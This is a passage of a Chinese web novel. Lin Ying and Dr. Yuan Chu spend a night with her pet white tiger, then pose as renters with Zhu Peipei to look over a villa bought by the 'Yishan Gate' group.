此时,一米八的大床上,林萤和原初两个人一个在左,一个在右,中间隔着一条银河,但呼吸声和对方身上那股无法忽略的气息却令二人辗转反侧。 “原医生?” “嗯?” “你睡了吗?” “没睡。” “你想不想玩点什么?” “……玩什么?” 林萤起身打开床头灯,她往里挪了挪,将自己的手机拿给远处看:“我很感兴趣一款双人小游戏,既然你也睡不着,我们来试试看能不能通关,据说特别考验默契。” 原初:“.…..好。” 十分钟过后,林萤放下手机打了个哈欠,“什么啊,明明说很难,结果这么简单就通关了。” 原初将手机放在床头柜上,关上灯,问道:“是啊,现在有睡意了吗?” 林萤道:“多谢相陪,还真有睡意了!”说着,她悄悄往床中间挪了挪,鼻翼微动,“真奇怪!明明我们用的是同一款沐 浴露,可你这边闻起来就是香一些。” 黑暗中,原初舒展身体平躺在床上一动不动,“是吗?我闻不出来。” “是呀,我的鼻子灵着呢,除了闻不到臭味。” “林萤。” “嗯?” “我不打呼噜。” “啊?你怎么还记得这事,我那会是乱讲的!” 原初抿了抿唇,正要继续说话,突然传来一阵轻轻的叩窗声,“笃笃”。 这么晚了,谁在外面? 林萤刚刚找到一个舒服的姿势躺下,听到这个声音又飞速坐了起来,她赤着脚,小心翼翼来到窗户前,将窗帘揭开一条小缝,紧接着,她便笑出了声。 “是谁?”原初也走了过来。 林萤打开窗户,一个毛茸茸的身影立即跳了进来,扑到了她的怀里。 “你看,是雪王!” 雪王这两天一直在睡觉,所以今天出门的时候林萤直接将包放在了马西梅家里,就是怕自己来回动作摇醒了它,没想到它居然找了过来。 原初道:“小家伙想你了。” 林萤点了点白虎的鼻子道:“原本打算明天去接你,既然你来了,那就一起睡吧!” 说罢,她抱起白虎,却嗅到了一丝不太明显的血腥味,两人将白虎翻来覆去检查一番,并没有发现什么伤口,于是便给它洗了个澡,放在床中间,这才迷迷糊糊睡着了。 做了一晚胸口碎大石的噩梦,第二天一早,林萤睁开眼,半撑起身子,就见那原本放在床中间的白虎正趴在她的肚子上,似乎是林萤起身令它不舒服,白虎翻了个身,滚到了被子上,又继续呼呼大睡。 林萤看了眼一旁正在擦头发的原初,对方朝她耸耸肩,唇语道:早上好。 再次来到玫瑰公馆,林萤不再像昨晚那样莽撞,她与原初朱佩佩三人伪装成租客,在一个房产中介的带领下大摇大摆走进了小区。 中介人姓李,是个五十来岁的男性,却自称“小李”。 眼见他十分卖力地介绍着小区的设施环境,朱佩佩问道:“小李哥,最近买房的人很多吗?” 小李摇摇头,“哪能啊,有点能力的都跑到外地去了,咱们隔壁的蹊暇,都把路封了,还有一大波人想去呢!” 林萤道:“可我听说前几天这里不是过户了一幢别墅吗?” 小李道:“对,对,你知道‘一善门’吧,就是他们的人买的,那阔气,也不搞价!我本来都打算中介所给关了,可这一单直接让我们起死回生。” 朱佩佩道:“所以说只要房好就不愁卖!对了,小李哥,带我们去看看他们的别墅吧,应该还没装修好吧?” 小李有些为难。 朱佩佩道:“看一眼又不能把他房子看坏,还是说带我们看房浪费你时间了,那样的话,我们只能去找别的中介了,哎,最近物价飞涨,也不知道手里的钱缩水了没......” 小李道:“我只能带你们在外面看看,想进去看得找人家房主商量。” 林萤道:“行,我们就在外面看看!”